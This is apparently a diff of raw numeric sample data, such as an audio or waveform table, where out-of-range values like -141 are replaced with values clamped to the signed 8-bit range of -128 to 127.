--114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -90 -86 -83 -80 -78 -75 -72 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -80 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -90 -85 -82 -79 -77 -74 -72 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -90 -85 -82 -80 -78 -74 -72 -67 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -28 -25 -22 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 -99 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -122 -109 -99 -92 -87 -82 -81 -78 -77 -73 -70 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --90 --85 --80 --58 --70 --65 --62 --57 --54 --51 --47 --44 --43 --40 --37 --34 --32 --30 --28 --26 --24 --23 --22 --20 --19 --18 --17 --16 --14 --13 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -115 -109 -104 -100 -95 -92 -88 -84 -79 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --97 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -80 -78 -74 -72 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -75 -71 -68 -64 -60 -57 -52 -48 -44 -40 -36 -33 -30 -27 -23 -23 -20 -18 -16 -15 -14 -13 -12 -12 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 --91 --85 --64 -75 +-71 +-68 +-65 +-61 +-58 +-56 -53 --65 --62 --58 --54 --51 +-50 -48 --45 --41 --39 --36 --34 --32 --30 --28 --26 --25 --23 --21 --20 --19 --18 --17 --16 --15 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -123 -114 -108 -102 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -78 -75 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -88 -85 -82 -80 -78 -75 -72 -68 -65 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -94 -89 -85 -83 -80 -78 -75 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -88 -84 -82 -79 -77 -74 -70 -67 -63 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -88 -85 -82 -78 -77 -73 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -28 -25 -23 -21 -19 -18 -16 -15 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -4 -4 -3 -3 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --92 --86 --64 --75 --54 --66 --62 --58 --54 --51 --47 +-46 -44 -41 --39 --36 --34 --32 --30 --28 --26 --24 --22 --20 --19 --18 --17 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -102 -99 -94 -91 -87 -84 -79 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -78 -75 -72 -69 -65 -61 -56 -52 -48 -44 -40 -37 -33 -30 -28 -25 -23 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -1 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --91 --85 --64 --75 --54 --66 --62 --58 --55 --51 --48 --44 --42 -40 +-38 +-37 -36 +-34 -33 -32 -30 --28 --25 --24 --23 --21 --19 --19 --18 --17 --16 --14 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -125 -115 -109 -104 -100 -95 -92 -88 -84 -80 -75 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -110 -100 -93 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -70 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -24 -22 -20 -18 -16 -14 -13 -12 -11 -11 -9 -9 -8 -7 -6 -6 -5 -4 -4 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --63 --74 --53 --64 --60 --57 --53 --50 --47 --44 --41 --39 --36 --34 --32 -30 -28 --26 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -103 -99 -94 -91 -87 -83 -79 -75 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +95 +89 +84 +81 +78 +74 70 -65 -60 +66 +62 56 52 -48 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +74 +71 +69 +66 +64 +60 +58 +55 +51 +47 43 -40 -37 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +74 +70 +68 +65 +63 +60 +57 +53 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +81 +76 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +16 +13 +11 +9 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +108 +94 +84 +77 +73 +68 +66 +63 +61 +58 +55 +52 +49 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +-105 +-99 +-93 +-72 +-83 +-80 +-76 +-71 +-68 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +111 +101 +95 +90 +86 +82 +78 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +76 +72 +69 +66 +64 +61 +58 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +66 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +76 +71 +68 +65 +63 +60 +58 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +76 +71 +68 +66 +64 +60 +58 +53 +50 +46 +42 +38 34 30 -28 26 -23 -21 +22 19 -18 16 -15 14 -13 -12 11 -10 -9 8 7 -7 -6 5 -5 -4 3 -3 --87 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 --90 --85 --64 --75 --53 --66 --62 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +85 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +108 +95 +85 +78 +73 +68 +67 +64 +63 +59 +56 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-104 +-99 +-94 +-72 +-84 +-79 +-76 +-71 +-68 +-65 +-61 -58 +-57 -54 -51 -48 --45 +-46 +-44 -42 --39 +-40 +-38 -37 +-36 -34 +-33 -32 +-31 -30 -28 +-27 +-27 -26 --24 --23 --22 --20 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -103 -100 -96 -92 -88 -85 -80 -76 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +101 +95 +90 +86 +81 +78 +74 70 65 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-111 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 127 112 -101 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +66 +64 +60 +58 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +61 +57 +54 +50 +46 +43 +38 +34 +30 +26 +22 +19 +16 +13 +9 +9 +6 +4 +2 +1 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +-105 +-99 +-78 +-89 +-67 +-79 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +109 +100 94 -89 -85 -83 +88 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +64 +61 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +74 +71 +68 +66 +64 +61 +58 +54 +51 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +80 +75 +71 +69 +66 +64 +61 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +74 +70 +68 +65 +63 +60 +56 +53 +49 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 79 -77 74 71 68 64 +63 59 -56 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +14 +11 +9 +7 +5 +4 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-106 +-100 +-78 +-89 +-68 +-80 +-76 +-72 +-68 +-65 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 -42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 94 -89 +88 85 -82 -79 +80 77 -74 -72 +73 +70 +65 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 68 +66 64 +61 +58 +55 +51 +47 +42 +38 +34 +30 +26 +23 +19 +16 +14 +11 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-72 +-69 +-65 +-62 +-58 +-56 +-54 +-50 +-47 +-46 +-44 +-42 +-39 +-38 +-37 +-35 +-33 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +111 +101 +95 +90 +86 +81 +78 +74 +70 +66 +61 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +96 +86 +79 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 60 56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +10 +8 +6 +4 +2 +0 +-1 +-2 +-3 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-77 -88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 +-67 +-78 +-74 +-71 +-67 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 100 94 89 -84 +85 +80 +77 +73 +69 +65 +61 +56 +51 +46 +42 +38 +34 +29 +26 +23 +20 +16 +14 +12 +9 +7 +5 